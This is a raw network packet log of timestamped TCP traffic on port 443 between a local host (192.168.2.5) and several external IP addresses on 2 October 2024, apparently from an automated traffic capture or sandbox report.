Oct 2, 2024 06:10:01.926691055 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:10:01.926726103 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:10:01.926744938 CEST	49704	443	192.168.2.5	23.109.93.100
Oct 2, 2024 06:10:01.926750898 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:10:01.926790953 CEST	443	49704	23.109.93.100	192.168.2.5
Oct 2, 2024 06:10:01.926806927 CEST	49704	443	192.168.2.5	23.109.93.100
Oct 2, 2024 06:10:01.926841974 CEST	49704	443	192.168.2.5	23.109.93.100
Oct 2, 2024 06:10:04.840012074 CEST	49708	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:04.840102911 CEST	443	49708	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:04.840380907 CEST	49708	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:04.842398882 CEST	49708	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:04.842434883 CEST	443	49708	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:04.953553915 CEST	49711	443	192.168.2.5	167.114.14.170
Oct 2, 2024 06:10:04.953593016 CEST	443	49711	167.114.14.170	192.168.2.5
Oct 2, 2024 06:10:04.953681946 CEST	49711	443	192.168.2.5	167.114.14.170
Oct 2, 2024 06:10:04.961251020 CEST	49711	443	192.168.2.5	167.114.14.170
Oct 2, 2024 06:10:04.961266994 CEST	443	49711	167.114.14.170	192.168.2.5
Oct 2, 2024 06:10:05.443793058 CEST	443	49711	167.114.14.170	192.168.2.5
Oct 2, 2024 06:10:05.443867922 CEST	49711	443	192.168.2.5	167.114.14.170
Oct 2, 2024 06:10:05.447144985 CEST	49711	443	192.168.2.5	167.114.14.170
Oct 2, 2024 06:10:05.447154045 CEST	443	49711	167.114.14.170	192.168.2.5
Oct 2, 2024 06:10:05.447427988 CEST	443	49711	167.114.14.170	192.168.2.5
Oct 2, 2024 06:10:05.450083971 CEST	49711	443	192.168.2.5	167.114.14.170
Oct 2, 2024 06:10:05.495428085 CEST	443	49711	167.114.14.170	192.168.2.5
Oct 2, 2024 06:10:05.500669956 CEST	443	49708	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:05.500752926 CEST	49708	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:05.502402067 CEST	49708	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:05.502420902 CEST	443	49708	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:05.502679110 CEST	443	49708	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:05.546053886 CEST	49708	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:05.554436922 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 2, 2024 06:10:05.570069075 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 2, 2024 06:10:05.591403008 CEST	443	49708	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:05.679469109 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 2, 2024 06:10:05.775403976 CEST	443	49708	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:05.775469065 CEST	443	49708	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:05.775660038 CEST	49708	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:05.775660038 CEST	49708	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:05.775741100 CEST	443	49708	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:05.775778055 CEST	49708	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:05.775796890 CEST	443	49708	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:05.808851004 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:05.808892965 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:05.808995962 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:05.809267998 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:05.809283018 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:06.530987024 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:06.531413078 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:06.532291889 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:06.532300949 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:06.532532930 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:06.533549070 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:06.579401016 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:06.807732105 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:06.807801962 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:06.807852983 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:06.814083099 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 2, 2024 06:10:06.814100027 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 2, 2024 06:10:06.832282066 CEST	443	49711	167.114.14.170	192.168.2.5
Oct 2, 2024 06:10:06.832340956 CEST	443	49711	167.114.14.170	192.168.2.5
Oct 2, 2024 06:10:06.832483053 CEST	49711	443	192.168.2.5	167.114.14.170
Oct 2, 2024 06:10:06.853851080 CEST	49711	443	192.168.2.5	167.114.14.170
Oct 2, 2024 06:10:06.853879929 CEST	443	49711	167.114.14.170	192.168.2.5
Oct 2, 2024 06:10:07.091573954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:07.091666937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.091756105 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:07.099488974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:07.099534988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.306675911 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 2, 2024 06:10:07.306799889 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 2, 2024 06:10:07.669681072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.669785976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:07.671770096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:07.671802044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.672028065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.674657106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:07.719394922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.880624056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.880647898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.880727053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.880964041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:07.880964041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:07.881010056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.881086111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:07.960485935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.960505009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.960589886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:07.960611105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.960783005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:07.962256908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.962281942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.962351084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:07.962368011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:07.962536097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.047662020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.047678947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.047790051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.047806025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.048115015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.049189091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.049206018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.049271107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.049287081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.049371958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.051028013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.051043987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.051134109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.051148891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.051361084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.058233023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.058248997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.058322906 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.058336973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.058459997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.136245012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.136276960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.136393070 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.136410952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.136674881 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.137073994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.137095928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.137150049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.137164116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.137216091 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.137216091 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.138045073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.138066053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.138128042 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.138140917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.139014959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.139054060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.139081955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.139095068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.139147997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.139974117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.139993906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.140043974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.140058994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.140088081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.140108109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.140876055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.140898943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.140954018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.140966892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.141542912 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.141978025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.141998053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.142043114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.142060995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.142083883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.142713070 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.146933079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.146960974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.147032022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.147062063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.147087097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.147110939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.226576090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.226596117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.226660013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.226677895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.226706028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.226723909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.227021933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227041960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227116108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.227124929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227140903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227163076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227188110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.227200985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227229118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.227248907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.227356911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227375984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227438927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.227452993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227478981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.227503061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.227715969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227735996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227786064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.227797031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227823019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.227852106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.227873087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227891922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.227946997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.227960110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.228081942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.235266924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.235291004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.235359907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.235373020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.235419035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.235440016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.312778950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.312803030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.312880993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.312880993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.312905073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.312956095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.313055038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.313077927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.313137054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.313150883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.313227892 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.313329935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.313350916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.313407898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.313421011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.313544035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.313676119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.313695908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.313752890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.313766003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.313838959 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.317728043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.317747116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.317810059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.317821980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.317847013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.317890882 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.318000078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.318022966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.318069935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.318083048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.318109989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.318133116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.318289995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.318325996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.318362951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.318373919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.318404913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.318424940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.326292992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.326313019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.326363087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.326375961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.326401949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.326425076 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.401382923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.401417971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.401510000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.401525021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.401599884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.401637077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.401689053 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.401689053 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.401710033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.401774883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.401774883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.401876926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.401911974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.401947975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.401964903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.401988029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.402012110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.402182102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.402204990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.402250051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.402261019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.402287006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.402309895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.402360916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.402386904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.402426958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.402437925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.402472019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.402472973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.402703047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.402721882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.402781010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.402792931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.402822971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.402848959 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.402961969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.402993917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.403026104 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.403038025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.403064013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.403081894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.414022923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.414041996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.414088011 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.414105892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.414129972 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.414159060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.489881039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.489903927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.489964962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.489993095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.490015030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.490039110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.490197897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.490226984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.490264893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.490277052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.490303040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.490436077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.490456104 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.490468025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.490494013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.490494013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.490534067 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.490551949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.490575075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.490684032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.490701914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.490741014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.490758896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.490782022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.490803957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.490957975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.490978003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.491024971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.491036892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.491063118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.491269112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.491292953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.491357088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.491373062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.491432905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.491581917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.491611958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.491661072 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.491673946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.491702080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.492513895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.506692886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.506747961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.506779909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.506804943 CEST	443	49715	167.114.14.168	192.168.2.5
